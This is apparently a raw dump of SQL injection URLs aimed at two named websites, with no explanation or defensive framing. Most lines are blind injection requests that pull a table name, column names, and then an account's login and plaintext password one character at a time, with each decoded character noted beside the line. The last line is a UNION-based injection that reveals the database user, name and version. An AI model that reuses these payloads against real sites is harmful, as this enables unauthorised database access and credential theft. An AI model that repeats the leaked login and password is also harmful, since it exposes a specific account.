http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+table_name+FROM+information_schema. columns+WHERE+column_name+like+char(37,108,111,103 ,105,110,37)+limit+2,1),1,1))=117 u
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+table_name+FROM+information_schema. columns+WHERE+column_name+like+char(37,108,111,103 ,105,110,37)+limit+2,1),2,1))=115 s
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+table_name+FROM+information_schema. columns+WHERE+column_name+like+char(37,108,111,103 ,105,110,37)+limit+2,1),3,1))=101 e
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+table_name+FROM+information_schema. columns+WHERE+column_name+like+char(37,108,111,103 ,105,110,37)+limit+2,1),4,1))=114 r
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+table_name+FROM+information_schema. columns+WHERE+column_name+like+char(37,108,111,103 ,105,110,37)+limit+2,1),5,1))=0

http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+column_name+FROM+information_schema .columns+WHERE+table_name=0x75736572+limit+2,1),1, 1))=112 p
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+column_name+FROM+information_schema .columns+WHERE+table_name=0x75736572+limit+2,1),2, 1))=97 a
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+column_name+FROM+information_schema .columns+WHERE+table_name=0x75736572+limit+2,1),3, 1))=115 s
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+column_name+FROM+information_schema .columns+WHERE+table_name=0x75736572+limit+2,1),4, 1))=115 s
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+column_name+FROM+information_schema .columns+WHERE+table_name=0x75736572+limit+2,1),5, 1))=119 w
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+column_name+FROM+information_schema .columns+WHERE+table_name=0x75736572+limit+2,1),6, 1))=100 d
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+column_name+FROM+information_schema .columns+WHERE+table_name=0x75736572+limit+2,1),7, 1))=0

http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+column_name+FROM+information_schema .columns+WHERE+table_name=0x75736572+limit+1,1),1, 1))=108 l
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+column_name+FROM+information_schema .columns+WHERE+table_name=0x75736572+limit+1,1),2, 1))=111 o
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+column_name+FROM+information_schema .columns+WHERE+table_name=0x75736572+limit+1,1),3, 1))=103 g
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+column_name+FROM+information_schema .columns+WHERE+table_name=0x75736572+limit+1,1),4, 1))=105 i
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+column_name+FROM+information_schema .columns+WHERE+table_name=0x75736572+limit+1,1),5, 1))=110 n
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+column_name+FROM+information_schema .columns+WHERE+table_name=0x75736572+limit+1,1),6, 1))=0

http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+login+FROM+user+limit+0,1),1,1))=11 9 w
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+login+FROM+user+limit+0,1),2,1))=10 1 e
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+login+FROM+user+limit+0,1),3,1))=98 b
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+login+FROM+user+limit+0,1),4,1))=10 0 d
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+login+FROM+user+limit+0,1),5,1))=11 1 o
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+login+FROM+user+limit+0,1),6,1))=10 3 g
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+login+FROM+user+limit+0,1),7,1))=0

http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+passwd+FROM+user+limit+0,1),1,1))=1 22 z
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+passwd+FROM+user+limit+0,1),2,1))=9 7 a
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+passwd+FROM+user+limit+0,1),3,1))=1 10 n
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+passwd+FROM+user+limit+0,1),4,1))=1 17 u
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+passwd+FROM+user+limit+0,1),5,1))=1 15 s
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+passwd+FROM+user+limit+0,1),6,1))=1 15 s
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+passwd+FROM+user+limit+0,1),7,1))=1 05 i
http://www.drumspeech.com/topic.php?forum=speech&theme_id=6796+and+ascii(sub string((SELECT+passwd+FROM+user+limit+0,1),8,1))=0

http://drumnet.ru/viewevent.php?id_pub=-99999+union+select+1,concat_ws(0x3a,user(),databas e(),version()),3,4,5,6+--+